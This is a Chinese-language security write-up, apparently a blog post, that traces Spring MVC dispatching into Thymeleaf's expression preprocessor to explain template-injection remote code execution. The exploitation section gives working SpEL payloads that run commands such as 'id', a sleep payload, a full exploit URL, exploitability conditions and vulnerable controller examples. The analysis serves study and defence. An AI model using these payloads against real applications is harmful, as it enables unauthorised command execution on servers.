Java安全之Thymeleaf 模板注入分析

Java安全之Thymeleaf 模板注入分析

前言

沉下心學習點東西

Spring mvc解析流程

Spring配置DispatcherServlet進行前端控制器攔截請求,流程來到 org.springframework.web.servlet.DispatcherServlet#doService

image-20220430155823097

調用this.doDispatch

org.springframework.web.servlet.DispatcherServlet#doDispatch

protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {
		/**
		 * 聲明變量 HttpServletRequest HandlerExecutionChain Handler執行鏈包含和最扣執行的Handler
		 */
		HttpServletRequest processedRequest = request;
		HandlerExecutionChain mappedHandler = null;
		//是不是一個多組件請求
		boolean multipartRequestParsed = false;
		//異步管理器
		WebAsyncManager asyncManager = WebAsyncUtils.getAsyncManager(request);

		try {
			//視圖
			ModelAndView mv = null;
			//異常
			Exception dispatchException = null;

			try {
				/**
				 * 1.檢查是否上傳請求
				 */
				processedRequest = checkMultipart(request);
				multipartRequestParsed = (processedRequest != request);

				// Determine handler for the current request.
				/**
				 * 2.根據processedRequest獲取映射的Handler執行鏈 HandlerExecutionChain
				 * 有當前請求的Handler和Inteceptor
				 */
				mappedHandler = getHandler(processedRequest);
				if (mappedHandler == null) {
					/**
					 * 如果mappedHandler爲空就返回404
					 */
					noHandlerFound(processedRequest, response);
					return;
				}

				/**
				 * 3.根據mappedHandler  HandlerExecutionChain  HandlerAdapter適配器
				 */
				// 確定當前請求的處理程序適配器。
				HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler());

				/**
				 * 獲取請求方法
				 * 處理last-modified 請求頭
				 */
				// Process last-modified header, if supported by the handler.
				String method = request.getMethod();
				boolean isGet = "GET".equals(method);
				if (isGet || "HEAD".equals(method)) {
					//獲取最近修改時間,緩存
					long lastModified = ha.getLastModified(request, mappedHandler.getHandler());
					if (new ServletWebRequest(request, response).checkNotModified(lastModified) && isGet) {
						return;
					}
				}

				/**
				 * 4.預處理,執行攔截器等
				 */
				if (!mappedHandler.applyPreHandle(processedRequest, response)) {
					return;
				}

				/**
				 * 5.實現執行Controller中(Handler)的方法,返回ModelAndView視圖
				 */
				// Actually invoke the handler.
				mv = ha.handle(processedRequest, response, mappedHandler.getHandler());

				if (asyncManager.isConcurrentHandlingStarted()) {
					/**
					 * 判斷 是不是異步請求,是就返回了
					 */
					return;
				}
				/**
				 * 6.對象視圖對象的處理
				 */
				applyDefaultViewName(processedRequest, mv);
				/**
				 * 7.攔截器後後置處理
				 */
				mappedHandler.applyPostHandle(processedRequest, response, mv);
			}
			catch (Exception ex) {
				dispatchException = ex;
			}
			catch (Throwable err) {
				// As of 4.3, we're processing Errors thrown from handler methods as well,
				// 使它們可用於@異常處理程序方法和其他場景。
				dispatchException = new NestedServletException("Handler dispatch failed", err);
			}
			/**
			 * 8.對頁面渲染
			 */
			processDispatchResult(processedRequest, response, mappedHandler, mv, dispatchException);
		}
		catch (Exception ex) {
			/**
			 * 9.對頁面渲染完成裏調用攔截器中的AfterCompletion方法
			 */
			triggerAfterCompletion(processedRequest, response, mappedHandler, ex);
		}
		catch (Throwable err) {
			/**
			 * 最終對頁面渲染完成裏調用攔截器中的AfterCompletion方法
			 */
			triggerAfterCompletion(processedRequest, response, mappedHandler,
					new NestedServletException("Handler processing failed", err));
		}
		finally {
			if (asyncManager.isConcurrentHandlingStarted()) {
				// Instead of postHandle and afterCompletion
				if (mappedHandler != null) {
					mappedHandler.applyAfterConcurrentHandlingStarted(processedRequest, response);
				}
			}
			else {
				//清除由多個部分組成的請求使用的所有資源。
				if (multipartRequestParsed) {
					cleanupMultipart(processedRequest);
				}
			}
		}
	}

獲取Handler

org.springframework.web.servlet.DispatcherServlet#getHandler

	protected HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
		if (this.handlerMappings != null) {
			/**
			 * 遍歷handlerMappings 映射器
			 */
			for (HandlerMapping mapping : this.handlerMappings) {
				//根據請求獲取HandlerExecutionChain
				HandlerExecutionChain handler = mapping.getHandler(request);
				if (handler != null) {
					return handler;
				}
			}
		}
		return null;
	}

  • handlerMappings:處理器映射,保存了每一個處理器可以處理哪些請求的方法的映射信息。

org.springframework.web.servlet.DispatcherServlet#getHandler

public final HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
		/**
		 * 根據請求獲取Handler
		 */
		Object handler = getHandlerInternal(request);
		if (handler == null) {
			/**
			 * 如果爲空就使得默認的
			 */
			handler = getDefaultHandler();
		}
		if (handler == null) {
			return null;
		}
		// Bean名稱或解析處理程序
		if (handler instanceof String) {
			String handlerName = (String) handler;
			handler = obtainApplicationContext().getBean(handlerName);
		}
		/**
		 * 獲取HandlerExecutionChain
		 */
		HandlerExecutionChain executionChain = getHandlerExecutionChain(handler, request);

		if (logger.isTraceEnabled()) {
			logger.trace("Mapped to " + handler);
		}
		else if (logger.isDebugEnabled() && !request.getDispatcherType().equals(DispatcherType.ASYNC)) {
			logger.debug("Mapped to " + executionChain.getHandler());
		}
		/**
		 * 跨域配置
		 */
		if (CorsUtils.isCorsRequest(request)) {
			CorsConfiguration globalConfig = this.corsConfigurationSource.getCorsConfiguration(request);
			CorsConfiguration handlerConfig = getCorsConfiguration(handler, request);
			CorsConfiguration config = (globalConfig != null ? globalConfig.combine(handlerConfig) : handlerConfig);
			executionChain = getCorsHandlerExecutionChain(request, executionChain, config);
		}

		return executionChain;
	}


org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#getHandlerInternal

  protected HandlerMethod getHandlerInternal(HttpServletRequest request) throws Exception {
        String lookupPath = this.getUrlPathHelper().getLookupPathForRequest(request);//獲取請求路徑
        request.setAttribute(LOOKUP_PATH, lookupPath);
        this.mappingRegistry.acquireReadLock();

        HandlerMethod var4;
        try {
            HandlerMethod handlerMethod = this.lookupHandlerMethod(lookupPath, request);
            var4 = handlerMethod != null ? handlerMethod.createWithResolvedBean() : null;
        } finally {
            this.mappingRegistry.releaseReadLock();
        }

        return var4;
    }

org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#lookupHandlerMethod

protected HandlerMethod lookupHandlerMethod(String lookupPath, HttpServletRequest request) throws Exception {
		List<Match> matches = new ArrayList<>();
		/**
		 * 根據URL獲取匹配 ,可以匹配到多個
		 * 通過uri直接在註冊的RequestMapping中獲取對應的RequestMappingInfo列表,需要注意的是,
		 * 這裏進行查找的方式只是通過url進行查找,但是具體哪些RequestMappingInfo是匹配的,還需要進一步過濾
		 */
		List<T> directPathMatches = this.mappingRegistry.getMappingsByUrl(lookupPath);
		if (directPathMatches != null) {
			/**
			 * 如果匹配的就添到上面的集合中
			 */
			addMatchingMappings(directPathMatches, matches, request);
		}
		if (matches.isEmpty()) {
			// 如果無法通過uri進行直接匹配,則對所有的註冊的RequestMapping進行匹配,這裏無法通過uri
			// 匹配的情況主要有三種:
			// ①在RequestMapping中定義的是PathVariable,如/user/detail/{id};
			// ②在RequestMapping中定義了問號表達式,如/user/?etail;
			// ③在RequestMapping中定義了*或**匹配,如/user/detail/**
			// No choice but to go through all mappings...
			addMatchingMappings(this.mappingRegistry.getMappings().keySet(), matches, request);
		}

		if (!matches.isEmpty()) {
			/**
			 * 使用生成一個比較器
			 * 對匹配的結果進行排序,獲取相似度最高的一個作爲結果返回,這裏對相似度的判斷時,
			 *
			 */
			Comparator<Match> comparator = new MatchComparator(getMappingComparator(request));
			//使用比較器排序
			matches.sort(comparator);
			//排序後第一個是最好的,獲取匹配程度最高的一個匹配結果
			Match bestMatch = matches.get(0);
			if (matches.size() > 1) {
				if (logger.isTraceEnabled()) {
					logger.trace(matches.size() + " matching mappings: " + matches);
				}
				if (CorsUtils.isPreFlightRequest(request)) {
					return PREFLIGHT_AMBIGUOUS_MATCH;
				}
				Match secondBestMatch = matches.get(1);
				/**
				 * 會判斷前兩個是否相似度是一樣的,如果是一樣的,則直接拋出異常,如果不相同,
				 */
				if (comparator.compare(bestMatch, secondBestMatch) == 0) {
					Method m1 = bestMatch.handlerMethod.getMethod();
					Method m2 = secondBestMatch.handlerMethod.getMethod();
					String uri = request.getRequestURI();
					throw new IllegalStateException(
							"Ambiguous handler methods mapped for '" + uri + "': {" + m1 + ", " + m2 + "}");
				}
			}
			request.setAttribute(BEST_MATCHING_HANDLER_ATTRIBUTE, bestMatch.handlerMethod);
			//這裏主要是對匹配結果的一個處理,主要包含對傳入參數和返回的MediaType的處理
			handleMatch(bestMatch.mapping, lookupPath, request);
			return bestMatch.handlerMethod;
		}
		else {
			return handleNoMatch(this.mappingRegistry.getMappings().keySet(), lookupPath, request);
		}
	}

image-20220430170945695

org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#addMatchingMappings

image-20220430174020262

image-20220430174211308

回到org.springframework.web.servlet.DispatcherServlet#doDispatch執行流程

調用HandlerAdapter ha = this.getHandlerAdapter(mappedHandler.getHandler());

protected HandlerAdapter getHandlerAdapter(Object handler) throws ServletException {
		if (this.handlerAdapters != null) {
			for (HandlerAdapter adapter : this.handlerAdapters) {
				//判斷處理器是否支持
				if (adapter.supports(handler)) {
					return adapter;
				}
			}
		}
		throw new ServletException("No adapter for handler [" + handler +
				"]: The DispatcherServlet configuration needs to include a HandlerAdapter that supports this handler");
	}

找到目標處理器的適配器,用適配器執行目標方法。

image-20220430171948120

執行interceptors#preHandle

流程走到下面代碼

if (!mappedHandler.applyPreHandle(processedRequest, response)) {
                        return;
                    }
boolean applyPreHandle(HttpServletRequest request, HttpServletResponse response) throws Exception {
        HandlerInterceptor[] interceptors = this.getInterceptors();
        if (!ObjectUtils.isEmpty(interceptors)) {
            for(int i = 0; i < interceptors.length; this.interceptorIndex = i++) {
                HandlerInterceptor interceptor = interceptors[i];
                if (!interceptor.preHandle(request, response, this.handler)) {
                    this.triggerAfterCompletion(request, response, (Exception)null);
                    return false;
                }
            }
        }

        return true;
    }

獲取interceptor攔截器,進行比遍歷調用preHandle方法,這裏沒配置interceptor,獲取到自動配置的2個攔截器。

ConversionServiceExposingInterceptor、ResourceUrlProviderExposingInterceptor

調用Handle

流程繼調用回到org.springframework.web.servlet.DispatcherServlet#doDispatch

調用mv = ha.handle(processedRequest, response, mappedHandler.getHandler());

org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter#handleInternal

protected ModelAndView handleInternal(HttpServletRequest request, HttpServletResponse response, HandlerMethod handlerMethod) throws Exception {
        this.checkRequest(request);
        ModelAndView mav;
        if (this.synchronizeOnSession) {
            HttpSession session = request.getSession(false);
            if (session != null) {
                Object mutex = WebUtils.getSessionMutex(session);
                synchronized(mutex) {
                    mav = this.invokeHandlerMethod(request, response, handlerMethod);
                }
            } else {
                mav = this.invokeHandlerMethod(request, response, handlerMethod);
            }
        } else {
            mav = this.invokeHandlerMethod(request, response, handlerMethod);
        }

org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter#invokeHandlerMethod

	// 它的作用就是執行目標的HandlerMethod,然後返回一個ModelAndView 
	@Nullable
	protected ModelAndView invokeHandlerMethod(HttpServletRequest request, HttpServletResponse response, HandlerMethod handlerMethod) throws Exception {

		ServletWebRequest webRequest = new ServletWebRequest(request, response);
		// 注意:此處只有try-finally 
		// 因爲invocableMethod.invokeAndHandle(webRequest, mavContainer)是可能會拋出異常的(交給全局異常處理)
		try {
			// 最終創建的是一個ServletRequestDataBinderFactory,持有所有@InitBinder的method方法們
			WebDataBinderFactory binderFactory = getDataBinderFactory(handlerMethod);
			// 創建一個ModelFactory,@ModelAttribute啥的方法就會被引用進來
			ModelFactory modelFactory = getModelFactory(handlerMethod, binderFactory);

			// 把HandlerMethod包裝爲ServletInvocableHandlerMethod,具有invoke執行的能力嘍
			// 下面這幾部便是一直給invocableMethod的各大屬性賦值~~~
			ServletInvocableHandlerMethod invocableMethod = createInvocableHandlerMethod(handlerMethod);
			if (this.argumentResolvers != null) {
				invocableMethod.setHandlerMethodArgumentResolvers(this.argumentResolvers);
			}
			if (this.returnValueHandlers != null) {
				invocableMethod.setHandlerMethodReturnValueHandlers(this.returnValueHandlers);
			}
			invocableMethod.setDataBinderFactory(binderFactory);
			invocableMethod.setParameterNameDiscoverer(this.parameterNameDiscoverer);




			ModelAndViewContainer mavContainer = new ModelAndViewContainer();
			// 把上個request裏的值放進來到本request裏
			mavContainer.addAllAttributes(RequestContextUtils.getInputFlashMap(request));
			// model工廠:把它裏面的Model值放進mavContainer容器內(此處@ModelAttribute/@SessionAttribute啥的生效)
			modelFactory.initModel(webRequest, mavContainer, invocableMethod);
			mavContainer.setIgnoreDefaultModelOnRedirect(this.ignoreDefaultModelOnRedirect);

			AsyncWebRequest asyncWebRequest = WebAsyncUtils.createAsyncWebRequest(request, response);
			asyncWebRequest.setTimeout(this.asyncRequestTimeout);

			WebAsyncManager asyncManager = WebAsyncUtils.getAsyncManager(request);
			asyncManager.setTaskExecutor(this.taskExecutor);
			asyncManager.setAsyncWebRequest(asyncWebRequest);
			asyncManager.registerCallableInterceptors(this.callableInterceptors);
			asyncManager.registerDeferredResultInterceptors(this.deferredResultInterceptors);

			// 它不管是不是異步請求都先用AsyncWebRequest 包裝了一下,但是若是同步請求
			// asyncManager.hasConcurrentResult()肯定是爲false的~~~
			if (asyncManager.hasConcurrentResult()) {
				Object result = asyncManager.getConcurrentResult();
				mavContainer = (ModelAndViewContainer) asyncManager.getConcurrentResultContext()[0];
				asyncManager.clearConcurrentResult();
				LogFormatUtils.traceDebug(logger, traceOn -> {
					String formatted = LogFormatUtils.formatValue(result, !traceOn);
					return "Resume with async result [" + formatted + "]";
				});
				invocableMethod = invocableMethod.wrapConcurrentResult(result);
			}

			// 此處其實就是調用ServletInvocableHandlerMethod#invokeAndHandle()方法嘍
			// 關於它你可以來這裏:https://fangshixiang.blog.csdn.net/article/details/98385163
			// 注意哦:任何HandlerMethod執行完後都是把結果放在了mavContainer裏(它可能有Model,可能有View,可能啥都木有~~)
			// 因此最後的getModelAndView()又得一看
			invocableMethod.invokeAndHandle(webRequest, mavContainer);
			if (asyncManager.isConcurrentHandlingStarted()) {
				return null;
			}

			return getModelAndView(mavContainer, modelFactory, webRequest);
		} finally {
			webRequest.requestCompleted();
		}
	}

調用invocableMethod.invokeAndHandle(webRequest, mavContainer, new Object[0]);

org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod#invokeAndHandle

 public void invokeAndHandle(ServletWebRequest webRequest, ModelAndViewContainer mavContainer, Object... providedArgs) throws Exception {
        Object returnValue = this.invokeForRequest(webRequest, mavContainer, providedArgs);
        this.setResponseStatus(webRequest);
        if (returnValue == null) {
            if (this.isRequestNotModified(webRequest) || this.getResponseStatus() != null || mavContainer.isRequestHandled()) {
                this.disableContentCachingIfNecessary(webRequest);
                mavContainer.setRequestHandled(true);
                return;
            }
        }
   //...

org.springframework.web.method.support.InvocableHandlerMethod#invokeForRequest

   @Nullable
    public Object invokeForRequest(NativeWebRequest request, @Nullable ModelAndViewContainer mavContainer, Object... providedArgs) throws Exception {
        Object[] args = this.getMethodArgumentValues(request, mavContainer, providedArgs);
        if (this.logger.isTraceEnabled()) {
            this.logger.trace("Arguments: " + Arrays.toString(args));
        }

        return this.doInvoke(args);
    }

org.springframework.web.method.support.InvocableHandlerMethod#doInvoke

到這個地方會反射調用路由中類中的方法,並將參數進行傳遞

image-20220430181919034

image-20220430181939170

執行handle完成後,還會調用this.returnValueHandlers.handleReturnValue方法

image-20220430225737304

 public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {
        HandlerMethodReturnValueHandler handler = this.selectHandler(returnValue, returnType);
        if (handler == null) {
            throw new IllegalArgumentException("Unknown return value type: " + returnType.getParameterType().getName());
        } else {
            handler.handleReturnValue(returnValue, returnType, mavContainer, webRequest);
        }
    }

調用handler.handleReturnValue

    public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {
        if (returnValue instanceof CharSequence) {
            String viewName = returnValue.toString();
            mavContainer.setViewName(viewName);
            if (this.isRedirectViewName(viewName)) {
                mavContainer.setRedirectModelScenario(true);
            }
        } else if (returnValue != null) {
            throw new UnsupportedOperationException("Unexpected return type: " + returnType.getParameterType().getName() + " in method: " + returnType.getMethod());
        }

    }

    protected boolean isRedirectViewName(String viewName) {
        return PatternMatchUtils.simpleMatch(this.redirectPatterns, viewName) || viewName.startsWith("redirect:");
    }

上面判斷如果redirect:開頭,如果是的話則設置重定向的屬性

回到org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter#invokeHandlerMethod

這裏調用this.getModelAndView獲取獲取ModelAndView對象

image-20220430231315778

執行interceptors#postHandle

mappedHandler.applyPostHandle(processedRequest, response, mv);

 void applyPostHandle(HttpServletRequest request, HttpServletResponse response, @Nullable ModelAndView mv) throws Exception {
        HandlerInterceptor[] interceptors = this.getInterceptors();
        if (!ObjectUtils.isEmpty(interceptors)) {
            for(int i = interceptors.length - 1; i >= 0; --i) {
                HandlerInterceptor interceptor = interceptors[i];
                interceptor.postHandle(request, response, this.handler, mv);
            }
        }

    }

遍歷執行攔截器postHandle,與前一致。

執行模板渲染

this.processDispatchResult(processedRequest, response, mappedHandler, mv, (Exception)dispatchException);

org.springframework.web.servlet.DispatcherServlet#doDispatch

private void processDispatchResult(HttpServletRequest request, HttpServletResponse response, @Nullable HandlerExecutionChain mappedHandler, @Nullable ModelAndView mv, @Nullable Exception exception) throws Exception {
        boolean errorView = false;
        if (exception != null) {
            if (exception instanceof ModelAndViewDefiningException) {
                this.logger.debug("ModelAndViewDefiningException encountered", exception);
                mv = ((ModelAndViewDefiningException)exception).getModelAndView();
            } else {
                Object handler = mappedHandler != null ? mappedHandler.getHandler() : null;
                mv = this.processHandlerException(request, response, handler, exception);
                errorView = mv != null;
            }
        }

        if (mv != null && !mv.wasCleared()) {
            this.render(mv, request, response);
          //...
protected void render(ModelAndView mv, HttpServletRequest request, HttpServletResponse response) throws Exception {
		/**
		 * 國際化設置
		 */
		// Determine locale for request and apply it to the response.
		Locale locale =
				(this.localeResolver != null ? this.localeResolver.resolveLocale(request) : request.getLocale());
		response.setLocale(locale);
		/**
		 * 獲取ViewName
		 */
		View view;
		//success
		String viewName = mv.getViewName();
		if (viewName != null) {
			/**
			 * 使用視圖解析器獲取完整的名稱
			 */
			// We need to resolve the view name.
			view = resolveViewName(viewName, mv.getModelInternal(), locale, request);
			if (view == null) {
				throw new ServletException("Could not resolve view with name '" + mv.getViewName() +
						"' in servlet with name '" + getServletName() + "'");
			}
		}
		else {
			// 不需要查找:模型和視圖對象包含實際的視圖對象。
			view = mv.getView();
			if (view == null) {
				throw new ServletException("ModelAndView [" + mv + "] neither contains a view name nor a " +
						"View object in servlet with name '" + getServletName() + "'");
			}
		}

		// 委託給視圖對象進行呈現。
		if (logger.isTraceEnabled()) {
			logger.trace("Rendering view [" + view + "] ");
		}
		try {
			if (mv.getStatus() != null) {
				response.setStatus(mv.getStatus().value());
			}
			/**
			 * 渲染使用視圖解析器
			 */
			view.render(mv.getModelInternal(), request, response);
		}
		catch (Exception ex) {
			if (logger.isDebugEnabled()) {
				logger.debug("Error rendering view [" + view + "]", ex);
			}
			throw ex;
		}
	}


這裏viewName是前面調用Controller 的handle return的值。

spring mvc中return的值會作爲模板進行渲染。

調用view.render(mv.getModelInternal(), request, response);

org.thymeleaf.spring5.view.ThymeleafView#renderFragment

protected void renderFragment(Set<String> markupSelectorsToRender, Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) throws Exception {
        //...
            String templateName;
            Set markupSelectors;
            if (!viewTemplateName.contains("::")) {
                templateName = viewTemplateName;
                markupSelectors = null;
            } else {
                IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration);

                FragmentExpression fragmentExpression;
                try {
                    fragmentExpression = (FragmentExpression)parser.parseExpression(context, "~{" + viewTemplateName + "}");
                } 

這裏有個判斷,viewTemplateName中不包含::則不會走到下面邏輯中。

image-20220430184342139

org.thymeleaf.standard.expression.StandardExpressionParser#parseExpression(org.thymeleaf.context.IExpressionContext, java.lang.String)

image-20220430185854501

org.thymeleaf.standard.expression.StandardExpressionParser#parseExpression(org.thymeleaf.context.IExpressionContext, java.lang.String)

 public Expression parseExpression(IExpressionContext context, String input) {
        Validate.notNull(context, "Context cannot be null");
        Validate.notNull(input, "Input cannot be null");
        return (Expression)parseExpression(context, input, true);
    }

org.thymeleaf.standard.expression.StandardExpressionParser#parseExpression(org.thymeleaf.context.IExpressionContext, java.lang.String, boolean)

 static IStandardExpression parseExpression(IExpressionContext context, String input, boolean preprocess) {
        IEngineConfiguration configuration = context.getConfiguration();
        String preprocessedInput = preprocess ? StandardExpressionPreprocessor.preprocess(context, input) : input;
        IStandardExpression cachedExpression = ExpressionCache.getExpressionFromCache(configuration, preprocessedInput);
        if (cachedExpression != null) {
            return cachedExpression;
        } else {
            Expression expression = Expression.parse(preprocessedInput.trim());
            if (expression == null) {
                throw new TemplateProcessingException("Could not parse as expression: \"" + input + "\"");
            } else {
                ExpressionCache.putExpressionIntoCache(configuration, preprocessedInput, expression);
                return expression;
            }
        }
    }

org.thymeleaf.standard.expression.StandardExpressionPreprocessor#preprocess

final class StandardExpressionPreprocessor {
    private static final char PREPROCESS_DELIMITER = '_';
    private static final String PREPROCESS_EVAL = "\\_\\_(.*?)\\_\\_";
    private static final Pattern PREPROCESS_EVAL_PATTERN = Pattern.compile("\\_\\_(.*?)\\_\\_", 32);
  
static String preprocess(IExpressionContext context, String input) {
        if (input.indexOf(95) == -1) {
            return input;
        } else {
            IStandardExpressionParser expressionParser = StandardExpressions.getExpressionParser(context.getConfiguration());
            if (!(expressionParser instanceof StandardExpressionParser)) {
                return input;
            } else {
                Matcher matcher = PREPROCESS_EVAL_PATTERN.matcher(input);
                if (!matcher.find()) {
                    return checkPreprocessingMarkUnescaping(input);
                } else {
                    StringBuilder strBuilder = new StringBuilder(input.length() + 24);
                    int curr = 0;

                    String remaining;
                    do {
                        remaining = checkPreprocessingMarkUnescaping(input.substring(curr, matcher.start(0)));
                        String expressionText = checkPreprocessingMarkUnescaping(matcher.group(1));
                        strBuilder.append(remaining);
                        IStandardExpression expression = StandardExpressionParser.parseExpression(context, expressionText, false);
                        if (expression == null) {
                            return null;
                        }

                        Object result = expression.execute(context, StandardExpressionExecutionContext.RESTRICTED);
                        strBuilder.append(result);
                        curr = matcher.end(0);
                    } while(matcher.find());

                    remaining = checkPreprocessingMarkUnescaping(input.substring(curr));
                    strBuilder.append(remaining);
                    return strBuilder.toString().trim();
                }
            }
        }
    }

前面判斷如果不存在_字符,直接返回,不做解析處理。

​ 調用 PREPROCESS_EVAL_PATTERN.matcher(input);,進行正則提取,這裏提取的是__中間的內容。

提取後獲取到的內容是${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("open -a Calculator.app").getInputStream()).next()}

image-20220430202815320

調用expression.execute(context, StandardExpressionExecutionContext.RESTRICTED);進行表達式執行

  public Object execute(IExpressionContext context, StandardExpressionExecutionContext expContext) {
        Validate.notNull(context, "Context cannot be null");
        IStandardVariableExpressionEvaluator variableExpressionEvaluator = StandardExpressions.getVariableExpressionEvaluator(context.getConfiguration());
        Object result = execute(context, this, variableExpressionEvaluator, expContext);
        return LiteralValue.unwrap(result);
    }

調用execute->SimpleExpression.executeSimple(context, (SimpleExpression)expression, expressionEvaluator, expContext);->VariableExpression.executeVariableExpression(context, (VariableExpression)expression, expressionEvaluator, expContext);

image-20220430215853394

調用鏈

exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
execute:130, ReflectiveMethodExecutor (org.springframework.expression.spel.support)
getValueInternal:112, MethodReference (org.springframework.expression.spel.ast)
getValueInternal:95, MethodReference (org.springframework.expression.spel.ast)
getValueRef:61, CompoundExpression (org.springframework.expression.spel.ast)
getValueInternal:91, CompoundExpression (org.springframework.expression.spel.ast)
createNewInstance:114, ConstructorReference (org.springframework.expression.spel.ast)
getValueInternal:100, ConstructorReference (org.springframework.expression.spel.ast)
getValueRef:55, CompoundExpression (org.springframework.expression.spel.ast)
getValueInternal:91, CompoundExpression (org.springframework.expression.spel.ast)
getValue:112, SpelNodeImpl (org.springframework.expression.spel.ast)
getValue:330, SpelExpression (org.springframework.expression.spel.standard)
evaluate:263, SPELVariableExpressionEvaluator (org.thymeleaf.spring5.expression)
executeVariableExpression:166, VariableExpression (org.thymeleaf.standard.expression)
executeSimple:66, SimpleExpression (org.thymeleaf.standard.expression)
execute:109, Expression (org.thymeleaf.standard.expression)
execute:138, Expression (org.thymeleaf.standard.expression)
preprocess:91, StandardExpressionPreprocessor (org.thymeleaf.standard.expression)
parseExpression:120, StandardExpressionParser (org.thymeleaf.standard.expression)
parseExpression:62, StandardExpressionParser (org.thymeleaf.standard.expression)
parseExpression:44, StandardExpressionParser (org.thymeleaf.standard.expression)
renderFragment:278, ThymeleafView (org.thymeleaf.spring5.view)
render:189, ThymeleafView (org.thymeleaf.spring5.view)
render:1373, DispatcherServlet (org.springframework.web.servlet)
processDispatchResult:1118, DispatcherServlet (org.springframework.web.servlet)
doDispatch:1057, DispatcherServlet (org.springframework.web.servlet)
doService:943, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doGet:898, FrameworkServlet (org.springframework.web.servlet)
service:634, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:741, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:100, RequestContextFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:93, FormContentFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:202, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:526, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:139, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:408, Http11Processor (org.apache.coyote.http11)
process:66, AbstractProcessorLight (org.apache.coyote)
process:861, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1579, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

漏洞利用

關於POC

__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x
__${T(java.lang.Thread).sleep(10000)}__::...
  __$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::...

POC最後面.x,前面的解析流程沒看到處理。

利用條件

  1. 不使用@ResponseBody註解或者RestController註解
  2. 模板名稱由redirect:forward:開頭(不走ThymeleafView渲染)即無法利用
  3. 參數中有HttpServletResponse,設置爲HttpServletResponse,Spring認爲它已經處理了HTTP
    Response,因此不會發生視圖名稱解析。

redirect和forward無法利用原因

image-20220430232344171

從viewName獲取爲redirect和forward機返回一個RedirectView或InternalResourceView,這裏就不會走ThymeleafView解析。

無法回顯問題

   @GetMapping("/path")
    public String path(@RequestParam String lang) {
        return "user/" + lang + "/welcome"; //template path is tainted
    }


    @GetMapping("/fragment")
    public String fragment(@RequestParam String section) {
        return "welcome :: " + section; //fragment is tainted
    }

測試發現fragment方法使用回顯POC沒法回顯

單步調試發現原因是因爲payload位置的問題

片段選擇器,templatename::selector

fragment中payload前面有::,所以payload在selector位置,這裏會拋異常,導致沒法回顯成功。

而在templatename位置不會。

Path URI

@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
    log.info("Retrieving " + document);
    //returns void, so view name is taken from URI
}
http://127.0.0.1:8090/fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator.app%22).getInputStream()).next()%7d__::.x

這時返回值爲空,並沒有返回視圖名,此時的視圖名會從 URI 中獲取,實現的代碼在org.springframework.web.servlet.view.DefaultRequestToViewNameTranslator#getViewName

public String getViewName(HttpServletRequest request) {
        String lookupPath = this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH);
        return this.prefix + this.transformPath(lookupPath) + this.suffix;
    }
 public String getViewName(HttpServletRequest request) {
        String lookupPath = this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH);
        return this.prefix + this.transformPath(lookupPath) + this.suffix;
    }

    @Nullable
    protected String transformPath(String lookupPath) {
        String path = lookupPath;
